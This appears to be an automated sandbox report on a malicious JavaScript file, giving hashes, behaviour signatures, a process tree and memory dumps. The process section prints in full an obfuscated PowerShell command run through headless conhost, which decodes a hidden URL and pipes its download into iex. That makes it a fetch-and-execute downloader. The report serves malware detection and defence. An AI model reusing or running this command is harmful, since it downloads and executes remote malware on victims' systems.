Analysis

  • max time kernel
    94s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-10-2024 01:33

General

  • Target

    beb8557e73b32ed094c27b9191290654d50244e4ced7837cd73ecb683c8e7607.js

  • Size

    164KB

  • MD5

    ecd4a67605f807d8c090e20789313149

  • SHA1

    c701136cd1e3b49f1bd508a3e9673de3ea366f57

  • SHA256

    beb8557e73b32ed094c27b9191290654d50244e4ced7837cd73ecb683c8e7607

  • SHA512

    86a9ed3df1c89c337b85c303696a980e5f4298e3f65b32143f436dbbbf719ec3db9ecd23f36543804e2f7b9ee209baebd25116707a9a017cace2e8ae852fc8d7

  • SSDEEP

    3072:i8tKjyET7JCZiUyGIEM4oTNVbBsDxHodK/ytASP80ArML2N2BRHrEYyvlmDhXUI:TtKjyKWuuoxV6xHodKqtdIj6RL1yADhT

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\beb8557e73b32ed094c27b9191290654d50244e4ced7837cd73ecb683c8e7607.js
    1⤵
      PID:1600
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $mpbsqfk='ur';new-alias press c$($mpbsqfk)l;$dkaliapr=(3676,3678,3695,3685,3691,3684,3691,3690,3687,3619,3689,3684,3685,3620,3622,3619,3685,3677,3685,3636,3688,3634,3682,3678,3683,3689,3688,3622,3624);$powwsc=('bronx','get-cmdlet');$ybfyzktyjjh=$dkaliapr;foreach($owqvhj in $ybfyzktyjjh){$grsqtbw=$owqvhj;$gjbuox=$gjbuox+[char]($grsqtbw-3573);$tcfatjtc=$gjbuox;$gcvqsceoe=$tcfatjtc};$xmsoqabkzvjer[2]=$gcvqsceoe;$ekvpyuzls='rl';$soiknkrffsh=1;.$([char](9992-9887)+'e'+'x')(press -useb $gcvqsceoe)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $mpbsqfk='ur';new-alias press c$($mpbsqfk)l;$dkaliapr=(3676,3678,3695,3685,3691,3684,3691,3690,3687,3619,3689,3684,3685,3620,3622,3619,3685,3677,3685,3636,3688,3634,3682,3678,3683,3689,3688,3622,3624);$powwsc=('bronx','get-cmdlet');$ybfyzktyjjh=$dkaliapr;foreach($owqvhj in $ybfyzktyjjh){$grsqtbw=$owqvhj;$gjbuox=$gjbuox+[char]($grsqtbw-3573);$tcfatjtc=$gjbuox;$gcvqsceoe=$tcfatjtc};$xmsoqabkzvjer[2]=$gcvqsceoe;$ekvpyuzls='rl';$soiknkrffsh=1;.$([char](9992-9887)+'e'+'x')(press -useb $gcvqsceoe)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1952

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eyqlveq2.xs1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1952-0-0x00007FFB05A93000-0x00007FFB05A95000-memory.dmp

      Filesize

      8KB

    • memory/1952-6-0x000002AE6F760000-0x000002AE6F782000-memory.dmp

      Filesize

      136KB

    • memory/1952-11-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp

      Filesize

      10.8MB

    • memory/1952-12-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp

      Filesize

      10.8MB

    • memory/1952-13-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp

      Filesize

      10.8MB

    • memory/1952-14-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp

      Filesize

      10.8MB

    • memory/1952-17-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp

      Filesize

      10.8MB